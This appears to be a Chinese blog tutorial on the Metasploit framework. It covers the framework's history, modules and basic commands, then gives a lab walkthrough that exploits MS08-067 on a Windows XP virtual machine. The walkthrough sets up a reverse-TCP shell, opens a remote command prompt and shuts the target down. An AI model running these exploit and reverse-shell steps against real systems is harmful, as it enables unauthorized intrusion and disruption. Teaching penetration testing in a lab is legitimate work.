Metasploit

发布时间 2023-05-09 12:01:59作者: 数星观月

1、metasploit简介

新出现的漏洞POC/EXP有不同的运行环境要求,准备工作繁琐。大部分时间都在学习不同工具的使用习惯,如果能统一就好了,进而Metasploit就产生了。POC,全称”Proof of Concept" ,中文”概念验证”,常指一段漏洞证明的代码。EXP ,全称”Exploit" ,中文“利用”,指利用系统漏洞进行攻击的动作。Metasploit框架是可以添加漏洞代码片段,就好比一个军火库,它里面有各种武器供我使用,当然也有新的武器被研发出来,放到武器库里面后,我也可以使用,这就是框架的好处,新的攻击代码可以比较容易的加入MSF框架供大家使用。Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。MSF目前是最流行,最强大,最具扩展性的渗透测试平台软件, 2003年H.D.Moore发布第一版,2007年用ruby语言重写了。Metasploit目前是全球最常见的渗透测试框架,位居secTools排行榜第2位(可以去https://sectools.org查看网络安全工具排行榜)。它是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计, Web应用程序扫描,社会工程等。

社区版:集成在kali系统中,目前基于社区力量维护。早期版本需要先启动数据库再启动MSF ,现在已经集成到msf里面了,直接一键启动,够用了。
2、metasploit架构介绍

1)REX :基础功能库,用于完成日常基本任务,无需人工手动编码实现,处理socket连接访问,协议应答(http/SSL/SMB等) ,编码转换( XOR,Base64,Unicode )。
2)技术模块: 5.0之后就增加了个evasion模块,现在一共是7个技术模块。
3)插件:插件可以调用外部一些渗透测试工具,例如: load nessus就可以调用nessus扫描软件。
4)接口:有msfconsole控制终端、msfcli 命令行、msfgui 图形化界面、armitage图形化界面和msfapi远程调用接口。
5)功能程序: metasploit 还开发了一些可以直接运行的命令,比如msfpayload. msfencode以及msfvenom。

3、metasploit技术模块

技术功能模块(不是流程模块) :有新的漏洞利用模块要放到这些模块下面进行调用。
1) auxiliary
负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块
2) exploits
利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)。
3)payloads
成功exploit之后,真正在目标系统执行的代码或指令。
分为3种类型的payload分别是single、stages和stagers。shellcode是特殊的payload用于拿shell。
single : all-in-one,完整的payload ,这些payload都是一体化的,不需要依赖外部的库和包。
stagers :目标计算机内存有限时,先传输一个较小的payload用于建立连接
stages :利用stagers建立的连接下载后续payload。

4)encoders
对payload进行加密,躲避AntiVirus检查的模块
5)nops
提高payload稳定性及维持大小。在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行的Shellcode之前添加一段空指令区,这样当触发渗透攻击后跳转执行ShellCode时,有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的ShellCode执行失败,提高渗透攻击的可靠性。
6)post
后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板攻击等操作.
7)evasion
创建木马文件,相当于msfvenom的一个子功能的存在

使用cd /usr/share/metasploit-framework/,cd modules,ls命令可以看到这七个命令

 4、metasploit基本使用

启动Metasploit框架需要运行Postgresq|数据库,现在只要运行Metasploit时都会自动启动PostgresqI数据库。如果数据库没启动的话,可以手动开启,下面时管理数据库的一-些命令。
使用lsof -i :5432或netstat -pantu |grep 5432命令查看postgresql数据库端口是否有监听

如果没启动的话使用systemctl start postgresql命令开启数据库,然后使用systemctl enable postgresql命令设置成开机自启动数据库

msfdb init#启动并初始化数据库
msfdb reinit#删除并重新初始化数据库
msfdb delete#删除数据库并停止使用它
msfdb start#启动数据库
msfdb stop#停止数据库
msfdb status#检查服务状态
msfdb run#启动数据库并运行msfconsole

Msfconsole接口启动命令:最流行的用户接口,几乎可以使用全部MSF功能,控制台命令支持TAB自动补全,支持外部命令的执行(系统命令等)
启动msfconsole -q / -v参数.
-q #安静的开启
-v#版本信息,其他参数可以用-h查看

使用apt update,apt install metasploit framework命令更新MSF(尽可能在新版本的kali系统上使用)。

kali上使用msfconsole命令打开metasploit

banner:版本信息
help或? : 显示msfconsole可以使用的命令。help <command> ,显示某一命令的用法。
connect:可以理解成MSF中的nc命令,可以使用connect -h查看详细用法。
show:用show命令查看msf提供的资源。在根目录下执行的话,由于有些模块资源比较多,需要执行show命令要较长的时间。

search:搜索模块,简单搜索:search ms17_010,可以多条件组合

use: search 找到模块后,用use使用模块
用use使用一个模块后,可以使用show options查看我们需要配置的选项、使用show targets选择目标主机系统、使用show payloads选择payload.使用show advanced查看高级参数、使用show evasion查看用来做混淆、逃避的模块。
set/setg:设置参数,比如要渗透的主机IP、payload 等。我们可以用show missing查看没有设置的参数;setg是设置全局变量,避免每个模块都要输入相同的参数
unset/unsetg:取消设置参数。unsetg 是取消设置的全局变量
save :设置的参数在下一-次启动的时候不会生效,可以用save保存我们使用过程的设置。cat到文件进行查看
check:检查目标是否真的存在这个漏洞,大部分模块没有check功能
run/exploit:攻击
jobs/kill :杀死进程
session:建立会话

==============================================================================================

使用metasploit复现一下winxp中的ms08_067这个漏洞。

开启一台kali和xp,查看xp的ip,看kali是否能ping通xp,通了才能继续实验

kali使用nmap -sS -O 192.168.107.129命令SYN扫描这个ip的服务器版本信息

kali上使用msfconsole命令打开metasploit,下面这个图案每次打开会有不同

 使用search ms08_067 type:exploit命令搜索到这个漏洞利用模块

 使用use exploit/windows/smb/ms08_067_netapi命令进入到这个模块

 使用show options查看需要配置的选项

 使用set rhosts 192.168.107.129命令设置目标主机ip

 使用show targets查看有哪些操作系统出现过这个漏洞,选择与目标主机操作系统匹配的选项

 这里选择34,sp3简体中文与nmap检测出来的服务器版本一致,使用set target 34命令设置

 接下来还要设置payload,使用命令search windows/shell命令找一下这个payload,我们使用下面这个payload,反弹式的shell,使用这个set payload windows/shell/reverse_tcp命令设置

 还需要设置一下这个shell连接的主机,也就是本机的ip,使用set lhost 192.168.107.139命令设置

 使用run或exploit运行,成功进入xp的cmd

 使用shutdown -s -t 120

 xp中可以看到关机提示